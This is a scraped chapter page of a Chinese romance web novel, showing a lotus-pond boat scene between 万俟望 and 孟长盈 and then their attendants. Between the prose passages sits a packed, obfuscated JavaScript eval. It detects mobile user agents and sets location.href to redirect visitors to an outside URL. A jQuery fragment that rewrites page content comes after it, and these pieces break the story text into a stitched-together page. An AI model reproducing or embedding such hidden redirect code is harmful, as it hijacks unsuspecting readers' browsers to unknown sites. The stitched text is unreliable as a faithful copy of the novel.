阅读设置(推荐配合 快捷键[F11] 进入全屏沉浸式阅读)

设置X

57. 入眼 (2 / 3)

“雪奴儿,我……”

忽然,一根微凉的净白手指压上他的唇。

他口中潮热酒气吐纳,让那根纤细手指细微一抖。

笔端淡雅的荷香中,掺上一丝草药的清冷微苦。

像是孟长盈这个人,叫他忍不住靠近。就算苦,也勾人心弦。

万俟望眼眸发红,整个人都快要烧起来。

在蒸腾的果酒甜香中,在她安静清透的眸光中,在他的十里荷塘中,他醉了。

可她还是带着凉意,清醒的凉意。

万俟望的唇微微动了动,像是要抿进那截雪白柔软的指尖。

“我……”

“不要说。”她说。

孟长盈抽回手,恬静注视着他,带着夜晚特有的温柔迷蒙。

万俟望甩了下头,荷花花瓣和绿珠一齐摇动。

他像只被主人拒绝亲近的大狗,眼底带着天然而原始的渴求。

“为什么?”

“今夜会是很好的回忆。”

孟长盈声音轻而慢,嘴角带着柔和的浅笑。

万俟望如同被蛊惑一般,伸手轻轻触上她的脸庞。

孟长盈没有躲避,任由他缓慢地,用触碰珍宝一样小心的力道,捧上她的脸。

万俟望的拇指,轻轻擦过他用目光描摹过无数次的淡红唇珠,柔软滑腻,比他想象的还要美好。

“雪奴儿。”

他又唤了一遍。

“嗯,我在。”

今夜会是很好的回忆。

所以,不要毁了它。

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929093|160590||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

船停在荷塘深处,四周静谧无声。

灯光昏暗的船尾,月台静静站着。游船轻微地浮动,堆叠的荷叶荷花发出轻微的摩擦声,叫她有些烦躁。

月台扬手想要拉断面前那只硕大的荷叶,可伸出手去,荷叶圆圆的边缘凉而润,叫她回忆起少时同孟长盈褚夫人折荷的记忆。

她动作一顿,最终还是垂下手。

胡狗儿抱着刀,即使是站在船尾那只吊起的昏黄灯笼下,也显得安静默然。

比起月台,他平静得多。或者说,从出宫到游船,他的情绪就几乎没有波动过。

月台看了他一会,他还是像尊沉默的石像,仿佛只会摔碎,不会开口。

船舱中万俟望和孟长盈的笑声耳语,他充耳不闻,只半阖眼帘,望着夜色下随波而动的连绵荷叶。

月台忽然道:“胡狗儿,你看到了吗?”

胡狗儿的目光依旧落在荷叶上,好似压根没听见有人同他说话,但他回了声:“看到了。”

“看到了?”月台瞥了眼船舱,声音压低,拧眉道:“你知道我在问什么吗

上一页 目录 +书签 下一页